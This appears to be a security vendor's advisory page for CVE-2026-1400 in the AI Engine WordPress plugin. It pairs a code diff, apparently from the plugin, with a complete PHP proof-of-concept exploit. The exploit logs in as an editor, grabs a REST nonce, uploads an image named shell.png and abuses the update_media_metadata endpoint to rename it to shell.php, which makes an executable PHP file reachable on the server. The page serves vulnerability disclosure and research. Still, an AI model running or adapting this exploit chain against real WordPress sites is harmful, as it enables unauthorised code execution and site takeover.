-    'tags' => ['core', 'embedding'],
+    'dimensions' => 1536, // Native output dimension
+    'tags' => ['core', 'embedding', 'matryoshka'],
   ],
   [
     'model' => 'text-embedding-3-large',
@@ -842,9 +845,10 @@
     'type' => 'token',
     'unit' => 1 / 1000000,
     'finetune' => false,
-    'dimensions' => [ 256, 1024, 3072 ],
-    'tags' => ['core', 'embedding'],
+    'dimensions' => 3072, // Native output dimension
+    'tags' => ['core', 'embedding', 'matryoshka'],
   ],
+  // Ada-002 is a legacy model with fixed dimensions (no truncation support)
   [
     'model' => 'text-embedding-ada-002',
     'name' => 'Embedding Ada-002',
@@ -854,7 +858,7 @@
     'type' => 'token',
     'unit' => 1 / 1000000,
     'finetune' => false,
-    'dimensions' => [ 1536 ],
+    'dimensions' => 1536, // Fixed dimension (no matryoshka support)
     'tags' => ['core', 'embedding'],
   ],
   // Audio Models:
--- a/ai-engine/labs/mcp-core.php
+++ b/ai-engine/labs/mcp-core.php
@@ -261,6 +261,11 @@
               'description' => 'Optional: fields to include (default: all). Options: meta, terms, thumbnail, author',
               'items' => [ 'type' => 'string' ],
             ],
+            'exclude' => [
+              'type' => 'array',
+              'description' => 'Optional: fields to exclude from post data. Options: content (useful for posts with huge content like many galleries)',
+              'items' => [ 'type' => 'string' ],
+            ],
           ],
           'required' => [ 'ID' ],
         ],
@@ -284,7 +289,7 @@
       ],
       'wp_update_post' => [
         'name' => 'wp_update_post',
-        'description' => 'Update post fields and/or meta in ONE call. Pass ID + "fields" object (post_title, post_content, post_status, etc.) and/or "meta_input" object for custom fields. Efficient for WooCommerce products: update title + price + stock together. Note: post_category REPLACES categories; use wp_add_post_terms to append instead.',
+        'description' => 'Update post fields and/or meta in ONE call. Pass ID + "fields" object (post_title, post_content, post_status, etc.) and/or "meta_input" object for custom fields. Efficient for WooCommerce products: update title + price + stock together. Note: post_category REPLACES categories; use wp_add_post_terms to append instead. Use schedule_for to easily schedule posts.',
         'inputSchema' => [
           'type' => 'object',
           'properties' => [
@@ -305,6 +310,10 @@
               'type' => 'object',
               'description' => 'Associative array of custom fields.'
             ],
+            'schedule_for' => [
+              'type' => 'string',
+              'description' => 'Schedule post for future publication. Provide local datetime (e.g., "2026-02-02 09:00:00"). Automatically sets status to "future" and calculates GMT from WordPress timezone.'
+            ],
           ],
           'required' => [ 'ID' ],
         ],
@@ -571,7 +580,7 @@
     // Add category and annotations to each tool
     foreach ( $tools as &$tool ) {
       if ( !isset( $tool['category'] ) ) {
-        $tool['category'] = 'Core';
+        $tool['category'] = 'AI Engine (Core)';
       }

       // Add MCP tool annotations based on tool name/behavior
@@ -920,6 +929,15 @@
         }

         $include = $a['include'] ?? [ 'meta', 'terms', 'thumbnail', 'author' ];
+        $exclude = $a['exclude'] ?? [];
+
+        // Handle JSON strings (some MCP clients send arrays as JSON strings)
+        if ( is_string( $include ) ) {
+          $include = json_decode( $include, true ) ?? [];
+        }
+        if ( is_string( $exclude ) ) {
+          $exclude = json_decode( $exclude, true ) ?? [];
+        }

         $snapshot = [
           'post' => [
@@ -927,7 +945,6 @@
             'post_title' => $p->post_title,
             'post_type' => $p->post_type,
             'post_status' => $p->post_status,
-            'post_content' => $this->clean_html( $p->post_content ),
             'post_excerpt' => $this->post_excerpt( $p ),
             'post_name' => $p->post_name,
             'permalink' => get_permalink( $p ),
@@ -936,6 +953,11 @@
           ],
         ];

+        // Include content unless excluded (useful for posts with huge content)
+        if ( !in_array( 'content', $exclude ) ) {
+          $snapshot['post']['post_content'] = $this->clean_html( $p->post_content );
+        }
+
         // Include all post meta
         if ( in_array( 'meta', $include ) ) {
           $snapshot['meta'] = [];
@@ -1015,16 +1037,23 @@
         if ( $a['post_name'] ?? '' ) {
           $ins['post_name'] = sanitize_title( $a['post_name'] );
         }
-        if ( !empty( $a['meta_input'] ) && is_array( $a['meta_input'] ) ) {
-          $ins['meta_input'] = $a['meta_input'];
+
+        // Handle JSON strings for meta_input (some MCP clients send objects as JSON strings)
+        $meta_input = $a['meta_input'] ?? [];
+        if ( is_string( $meta_input ) ) {
+          $meta_input = json_decode( $meta_input, true ) ?? [];
+        }
+        if ( !empty( $meta_input ) && is_array( $meta_input ) ) {
+          $ins['meta_input'] = $meta_input;
         }
+
         $new = wp_insert_post( $ins, true );
         if ( is_wp_error( $new ) ) {
           $r['error'] = [ 'code' => $new->get_error_code(), 'message' => $new->get_error_message() ];
         }
         else {
-          if ( empty( $ins['meta_input'] ) && !empty( $a['meta_input'] ) && is_array( $a['meta_input'] ) ) {
-            foreach ( $a['meta_input'] as $k => $v ) {
+          if ( empty( $ins['meta_input'] ) && !empty( $meta_input ) && is_array( $meta_input ) ) {
+            foreach ( $meta_input as $k => $v ) {
               update_post_meta( $new, sanitize_key( $k ), maybe_serialize( $v ) );
             }
           }
@@ -1039,22 +1068,48 @@
           break;
         }
         $c = [ 'ID' => intval( $a['ID'] ) ];
-        if ( !empty( $a['fields'] ) && is_array( $a['fields'] ) ) {
-          foreach ( $a['fields'] as $k => $v ) {
+
+        // Handle JSON strings (some MCP clients send objects as JSON strings)
+        $fields = $a['fields'] ?? [];
+        if ( is_string( $fields ) ) {
+          $fields = json_decode( $fields, true ) ?? [];
+        }
+        if ( !empty( $fields ) && is_array( $fields ) ) {
+          foreach ( $fields as $k => $v ) {
             $c[ $k ] = in_array( $k, [ 'post_content', 'post_excerpt' ], true ) ? $this->clean_html( $v ) : sanitize_text_field( $v );
           }
         }
+
+        // Handle schedule_for convenience parameter
+        if ( !empty( $a['schedule_for'] ) ) {
+          $schedule_date = sanitize_text_field( $a['schedule_for'] );
+          $c['post_status'] = 'future';
+          $c['post_date'] = $schedule_date;
+          $c['post_date_gmt'] = get_gmt_from_date( $schedule_date );
+          $c['edit_date'] = true; // Required for WordPress to respect date changes
+        }
+
         $u = ( count( $c ) > 1 ) ? wp_update_post( $c, true ) : $c['ID'];
         if ( is_wp_error( $u ) ) {
           $r['error'] = [ 'code' => $u->get_error_code(), 'message' => $u->get_error_message() ];
           break;
         }
-        if ( !empty( $a['meta_input'] ) && is_array( $a['meta_input'] ) ) {
-          foreach ( $a['meta_input'] as $k => $v ) {
+
+        // Handle JSON strings for meta_input
+        $meta_input = $a['meta_input'] ?? [];
+        if ( is_string( $meta_input ) ) {
+          $meta_input = json_decode( $meta_input, true ) ?? [];
+        }
+        if ( !empty( $meta_input ) && is_array( $meta_input ) ) {
+          foreach ( $meta_input as $k => $v ) {
             update_post_meta( $u, sanitize_key( $k ), maybe_serialize( $v ) );
           }
         }
-        $this->add_result_text( $r, 'Post #' . $u . ' updated' );
+        $msg = 'Post #' . $u . ' updated';
+        if ( !empty( $a['schedule_for'] ) ) {
+          $msg .= ' and scheduled for ' . $a['schedule_for'];
+        }
+        $this->add_result_text( $r, $msg );
         break;

         /* ===== Posts: delete ===== */
@@ -1089,8 +1144,15 @@
           break;
         }
         $pid = intval( $a['ID'] );
-        if ( !empty( $a['meta'] ) && is_array( $a['meta'] ) ) {
-          foreach ( $a['meta'] as $k => $v ) {
+
+        // Handle JSON strings for meta (some MCP clients send objects as JSON strings)
+        $meta = $a['meta'] ?? null;
+        if ( is_string( $meta ) ) {
+          $meta = json_decode( $meta, true );
+        }
+
+        if ( !empty( $meta ) && is_array( $meta ) ) {
+          foreach ( $meta as $k => $v ) {
             update_post_meta( $pid, sanitize_key( $k ), maybe_serialize( $v ) );
           }
         }
@@ -1252,9 +1314,14 @@
           $r['error'] = [ 'code' => -32602, 'message' => 'ID & terms required' ];
           break;
         }
+        $terms = $a['terms'];
+        // Handle JSON strings (some MCP clients send arrays as JSON strings)
+        if ( is_string( $terms ) ) {
+          $terms = json_decode( $terms, true ) ?? [];
+        }
         $tax = sanitize_key( $a['taxonomy'] ?? 'category' );
         $append = !isset( $a['append'] ) || $a['append'];
-        $set = wp_set_post_terms( intval( $a['ID'] ), $a['terms'], $tax, $append );
+        $set = wp_set_post_terms( intval( $a['ID'] ), $terms, $tax, $append );
         if ( is_wp_error( $set ) ) {
           $r['error'] = [ 'code' => $set->get_error_code(), 'message' => $set->get_error_message() ];
         }
--- a/ai-engine/labs/mcp.php
+++ b/ai-engine/labs/mcp.php
@@ -85,7 +85,7 @@
       },
     ] );

-    // No-Auth URL endpoints (with token in path)
+    // No-Auth URL endpoints (with token in path) - Legacy SSE
     $noauth_enabled = $this->core->get_option( 'mcp_noauth_url' );
     if ( $noauth_enabled && !empty( $this->bearer_token ) ) {
       register_rest_route( $this->namespace, '/' . $this->bearer_token . '/sse', [
@@ -115,6 +115,31 @@
         'show_in_index' => false,
       ] );
     }
+
+    // Streamable HTTP endpoint (Modern transport for Claude Code)
+    // Uses Authorization: Bearer header for authentication
+    // Automatically enabled when MCP module is active and bearer token is set
+    if ( !empty( $this->bearer_token ) ) {
+      // Main endpoint with Authorization header (at /http path)
+      register_rest_route( $this->namespace, '/http', [
+        'methods' => [ 'GET', 'POST', 'DELETE' ],
+        'callback' => [ $this, 'handle_streamable_http' ],
+        'permission_callback' => function ( $request ) {
+          return $this->can_access_mcp( $request );
+        },
+        'show_in_index' => false,
+      ] );
+
+      // Alternative endpoint with token in URL (for clients that don't support headers)
+      register_rest_route( $this->namespace, '/' . $this->bearer_token, [
+        'methods' => [ 'GET', 'POST', 'DELETE' ],
+        'callback' => [ $this, 'handle_streamable_http' ],
+        'permission_callback' => function ( $request ) {
+          return $this->handle_noauth_access_streamable( $request );
+        },
+        'show_in_index' => false,
+      ] );
+    }
   }
   #endregion

@@ -146,7 +171,7 @@
     // If no authorization header but bearer token is configured, deny access
     if ( !$hdr && !empty( $this->bearer_token ) ) {
       if ( $this->logging ) {
-        error_log( '[AI Engine MCP] ❌ No authorization header provided.' );
+        error_log( '[AI Engine MCP] ❌ No authorization header provided. Server may be stripping headers.' );
       }
       return false;
     }
@@ -177,9 +202,8 @@
           wp_set_current_user( $admin->ID, $admin->user_login );
         }
         $auth_result = 'static';
-        // Only log auth for SSE endpoint
-        if ( $this->logging && strpos( $request->get_route(), '/sse' ) !== false ) {
-          error_log( '[AI Engine MCP] 🔐 Auth OK' );
+        if ( $this->logging ) {
+          error_log( '[AI Engine MCP] 🔐 Bearer token auth OK' );
         }
         return true;
       }
@@ -227,6 +251,25 @@
     }
     return true;
   }
+
+  public function handle_noauth_access_streamable( $request ) {
+    // For Streamable HTTP with token in URL path (no trailing slash)
+    $route = $request->get_route();
+    $expected = '/' . $this->namespace . '/' . $this->bearer_token;
+    if ( $route !== $expected ) {
+      if ( $this->logging ) {
+        error_log( '[AI Engine MCP] ❌ Invalid Streamable HTTP no-auth URL access attempt.' );
+      }
+      return false;
+    }
+
+    // Set the current user to admin since token is valid
+    if ( $admin = $this->core->get_admin_user() ) {
+      wp_set_current_user( $admin->ID, $admin->user_login );
+    }
+    return true;
+  }
+
   #endregion

   #region Helpers (log / JSON-RPC utils)
@@ -380,7 +423,7 @@
             'result' => [
               'protocolVersion' => $this->protocol_version,
               'serverInfo' => (object) [
-                'name' => get_bloginfo( 'name' ) . ' MCP',
+                'name' => 'AI Engine - ' . get_bloginfo( 'name' ),
                 'version' => $this->server_version,
               ],
               'capabilities' => (object) [
@@ -637,6 +680,198 @@
   }
   #endregion

+  #region Handle Streamable HTTP (Modern MCP transport)
+  /**
+   * Handle Streamable HTTP requests per MCP specification.
+   * This is the modern transport used by Claude Code and other MCP clients.
+   *
+   * - POST: Send JSON-RPC request, receive JSON response (or SSE for streaming)
+   * - GET: Open SSE stream for server-initiated messages
+   * - DELETE: Terminate the session
+   *
+   * @see https://modelcontextprotocol.io/specification/2025-03-26/basic/transports#streamable-http
+   */
+  public function handle_streamable_http( WP_REST_Request $request ) {
+    $method = $request->get_method();
+
+    switch ( $method ) {
+      case 'POST':
+        return $this->handle_streamable_http_post( $request );
+
+      case 'GET':
+        return $this->handle_streamable_http_get( $request );
+
+      case 'DELETE':
+        return $this->handle_streamable_http_delete( $request );
+
+      default:
+        return new WP_REST_Response( [
+          'error' => 'Method not allowed'
+        ], 405 );
+    }
+  }
+
+  /**
+   * Handle POST requests for Streamable HTTP.
+   * This processes JSON-RPC requests and returns JSON responses.
+   */
+  private function handle_streamable_http_post( WP_REST_Request $request ) {
+    $raw_body = $request->get_body();
+
+    if ( empty( $raw_body ) ) {
+      return new WP_REST_Response( [
+        'jsonrpc' => '2.0',
+        'id' => null,
+        'error' => [ 'code' => -32700, 'message' => 'Parse error: empty body' ]
+      ], 400 );
+    }
+
+    $data = json_decode( $raw_body, true );
+
+    if ( json_last_error() !== JSON_ERROR_NONE ) {
+      return new WP_REST_Response( [
+        'jsonrpc' => '2.0',
+        'id' => null,
+        'error' => [ 'code' => -32700, 'message' => 'Parse error: invalid JSON' ]
+      ], 400 );
+    }
+
+    // Log the request if debugging is enabled
+    if ( $this->logging && isset( $data['method'] ) ) {
+      error_log( '[AI Engine MCP HTTP] ↓ ' . $data['method'] );
+    }
+
+    // Reuse the existing direct JSON-RPC handler
+    return $this->handle_direct_jsonrpc( $request, $data );
+  }
+
+  /**
+   * Handle GET requests for Streamable HTTP.
+   * This opens an SSE stream for server-to-client messages.
+   * Used when the server needs to send notifications or progress updates.
+   */
+  private function handle_streamable_http_get( WP_REST_Request $request ) {
+    // Check Accept header - must accept text/event-stream
+    $accept = $request->get_header( 'accept' );
+    if ( strpos( $accept, 'text/event-stream' ) === false ) {
+      return new WP_REST_Response( [
+        'error' => 'Accept header must include text/event-stream'
+      ], 406 );
+    }
+
+    // Get or create session ID
+    $session_header = $request->get_header( 'mcp-session-id' );
+    $session_id = !empty( $session_header ) ? sanitize_text_field( $session_header ) : wp_generate_uuid4();
+
+    if ( $this->logging ) {
+      error_log( '[AI Engine MCP HTTP] 📡 SSE stream opened for session: ' . substr( $session_id, 0, 8 ) . '...' );
+    }
+
+    // Set up SSE output
+    @ini_set( 'zlib.output_compression', '0' );
+    @ini_set( 'output_buffering', '0' );
+    @ini_set( 'implicit_flush', '1' );
+    if ( function_exists( 'ob_implicit_flush' ) ) {
+      ob_implicit_flush( true );
+    }
+
+    header( 'Content-Type: text/event-stream' );
+    header( 'Cache-Control: no-cache' );
+    header( 'X-Accel-Buffering: no' );
+    header( 'Connection: keep-alive' );
+    header( 'Mcp-Session-Id: ' . $session_id );
+
+    while ( ob_get_level() ) {
+      ob_end_flush();
+    }
+
+    $this->session_id = $session_id;
+    $this->last_action_time = time();
+
+    // Send initial connection event
+    echo "event: openn";
+    echo 'data: {"session":"' . esc_js( $session_id ) . ""}nn";
+    flush();
+
+    // Main SSE loop - listen for server-initiated messages
+    while ( true ) {
+      $max_time = $this->logging ? 30 : 60 * 3;
+      $idle = ( time() - $this->last_action_time ) >= $max_time;
+
+      if ( connection_aborted() || $idle ) {
+        if ( $this->logging ) {
+          error_log( '[AI Engine MCP HTTP] 🔚 SSE closed (' . ( $idle ? 'idle' : 'abort' ) . ')' );
+        }
+        break;
+      }
+
+      // Check for queued messages
+      foreach ( $this->fetch_messages( $session_id ) as $msg ) {
+        if ( isset( $msg['method'] ) && $msg['method'] === 'mwai/kill' ) {
+          echo "event: closendata: {}nn";
+          flush();
+          exit;
+        }
+
+        echo "event: messagen";
+        echo 'data: ' . wp_json_encode( $msg, JSON_UNESCAPED_UNICODE ) . "nn";
+        flush();
+        $this->last_action_time = time();
+      }
+
+      // Heartbeat every 10 seconds
+      $time_since_last = time() - $this->last_action_time;
+      if ( $time_since_last >= 10 && $time_since_last % 10 === 0 ) {
+        echo ": heartbeatnn";
+        flush();
+      }
+
+      usleep( 200000 ); // 200ms
+    }
+
+    exit;
+  }
+
+  /**
+   * Handle DELETE requests for Streamable HTTP.
+   * This terminates the session and cleans up any resources.
+   */
+  private function handle_streamable_http_delete( WP_REST_Request $request ) {
+    $session_header = $request->get_header( 'mcp-session-id' );
+
+    if ( empty( $session_header ) ) {
+      return new WP_REST_Response( [
+        'error' => 'Mcp-Session-Id header required'
+      ], 400 );
+    }
+
+    $session_id = sanitize_text_field( $session_header );
+
+    if ( $this->logging ) {
+      error_log( '[AI Engine MCP HTTP] 🗑️ Session terminated: ' . substr( $session_id, 0, 8 ) . '...' );
+    }
+
+    // Queue kill signal for any active SSE streams
+    $this->store_message( $session_id, [
+      'jsonrpc' => '2.0',
+      'method' => 'mwai/kill'
+    ] );
+
+    // Clean up any remaining transients for this session
+    global $wpdb;
+    $like = $wpdb->esc_like( '_transient_' . "{$this->queue_key}_{$session_id}_" ) . '%';
+    $wpdb->query(
+      $wpdb->prepare(
+        "DELETE FROM {$wpdb->options} WHERE option_name LIKE %s",
+        $like
+      )
+    );
+
+    // Return 204 No Content on successful termination
+    return new WP_REST_Response( null, 204 );
+  }
+  #endregion
+
   #region Handle /messages (JSON-RPC ingress)
   public function handle_message( WP_REST_Request $request ) {
     $sess = sanitize_text_field( $request->get_param( 'session_id' ) );
@@ -732,7 +967,7 @@
             'result' => [
               'protocolVersion' => $this->protocol_version,
               'serverInfo' => (object) [
-                'name' => get_bloginfo( 'name' ) . ' MCP',
+                'name' => 'AI Engine - ' . get_bloginfo( 'name' ),
                 'version' => $this->server_version,
               ],
               'capabilities' => (object) [
@@ -975,10 +1210,12 @@
               if ( !isset( $definition['description'] ) ) {
                 $definition['description'] = 'Value can be of any type';
               }
-            } else {
+            }
+            else {
               $definition['type'] = $type_array;
             }
-          } else {
+          }
+          else {
             $definition['type'] = (string) $definition['type'];
           }
         }

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-1400 - AI Engine <= 3.3.2 - Authenticated (Editor+) Arbitrary File Upload via 'filename' Parameter in update_media_metadata Endpoint

<?php

$target_url = 'https://vulnerable-wordpress-site.com';
$username = 'editor_user';
$password = 'editor_password';

// Step 1: Authenticate to WordPress and obtain nonce
function get_wp_nonce($target_url, $username, $password) {
    $login_url = $target_url . '/wp-login.php';
    $admin_url = $target_url . '/wp-admin/';
    
    // Create a cookie jar for session persistence
    $cookie_file = tempnam(sys_get_temp_dir(), 'cookies_');
    
    // Perform login
    $ch = curl_init($login_url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
    curl_setopt($ch, CURLOPT_COOKIEJAR, $cookie_file);
    curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie_file);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
        'log' => $username,
        'pwd' => $password,
        'wp-submit' => 'Log In',
        'redirect_to' => $admin_url,
        'testcookie' => '1'
    ]));
    curl_setopt($ch, CURLOPT_HTTPHEADER, ['Content-Type: application/x-www-form-urlencoded']);
    $response = curl_exec($ch);
    curl_close($ch);
    
    // Extract nonce from admin page
    $ch = curl_init($admin_url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie_file);
    $admin_page = curl_exec($ch);
    curl_close($ch);
    
    // Look for REST nonce in page source
    preg_match('/"rest_nonce":"([a-f0-9]+)"/', $admin_page, $matches);
    
    unlink($cookie_file);
    
    return isset($matches[1]) ? $matches[1] : false;
}

// Step 2: Upload a benign image file
function upload_image_file($target_url, $nonce) {
    // Create a simple PNG image (1x1 pixel)
    $png_base64 = 'iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVR42mNkYPhfDwAChwGA60e6kgAAAABJRU5ErkJggg==';
    $image_data = base64_decode($png_base64);
    
    // Save temporary image file
    $temp_file = tempnam(sys_get_temp_dir(), 'image_') . '.png';
    file_put_contents($temp_file, $image_data);
    
    // Prepare upload request
    $boundary = '----WebKitFormBoundary' . md5(time());
    $payload = "--$boundaryrn";
    $payload .= "Content-Disposition: form-data; name="file"; filename="shell.png"rn";
    $payload .= "Content-Type: image/pngrnrn";
    $payload .= $image_data . "rn";
    $payload .= "--$boundary--rn";
    
    $ch = curl_init($target_url . '/wp-json/wp/v2/media');
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $payload);
    curl_setopt($ch, CURLOPT_HTTPHEADER, [
        'Content-Type: multipart/form-data; boundary=' . $boundary,
        'X-WP-Nonce: ' . $nonce
    ]);
    
    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);
    
    unlink($temp_file);
    
    if ($http_code === 201) {
        $data = json_decode($response, true);
        return $data['id'] ?? false;
    }
    
    return false;
}

// Step 3: Exploit the vulnerability by renaming image to PHP
function exploit_file_rename($target_url, $nonce, $attachment_id) {
    $exploit_url = $target_url . '/wp-json/ai-engine/v1/update_media_metadata';
    
    $payload = [
        'id' => $attachment_id,
        'filename' => 'shell.php'  // Change extension from .png to .php
    ];
    
    $ch = curl_init($exploit_url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($payload));
    curl_setopt($ch, CURLOPT_HTTPHEADER, [
        'Content-Type: application/json',
        'X-WP-Nonce: ' . $nonce
    ]);
    
    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);
    
    return [$http_code, $response];
}

// Step 4: Verify the PHP file is accessible
function verify_exploit($target_url, $attachment_id) {
    // Get the uploads directory path from WordPress
    $ch = curl_init($target_url . '/wp-json/wp/v2/media/' . $attachment_id);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    $media_data = json_decode(curl_exec($ch), true);
    curl_close($ch);
    
    if (isset($media_data['source_url'])) {
        $php_file_url = $media_data['source_url'];
        
        // Check if the PHP file is accessible
        $ch = curl_init($php_file_url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_HEADER, true);
        $response = curl_exec($ch);
        $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        curl_close($ch);
        
        return [$http_code, $php_file_url];
    }
    
    return [false, false];
}

// Execute the exploit chain
$nonce = get_wp_nonce($target_url, $username, $password);

if (!$nonce) {
    die("Failed to obtain WordPress noncen");
}

echo "[+] Obtained nonce: $noncen";

echo "[+] Uploading image file...n";
$attachment_id = upload_image_file($target_url, $nonce);

if (!$attachment_id) {
    die("Failed to upload image filen");
}

echo "[+] Image uploaded with ID: $attachment_idn";

echo "[+] Exploiting file rename vulnerability...n";
list($exploit_code, $exploit_response) = exploit_file_rename($target_url, $nonce, $attachment_id);

echo "[+] Exploit response code: $exploit_coden";

echo "[+] Verifying PHP file accessibility...n";
list($verify_code, $php_url) = verify_exploit($target_url, $attachment_id);

if ($verify_code === 200) {
    echo "[+] SUCCESS: PHP file accessible at: $php_urln";
    echo "[+] The server is vulnerable to CVE-2026-1400n";
} else {
    echo "[-] File may not be accessible or server is patchedn";
}

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School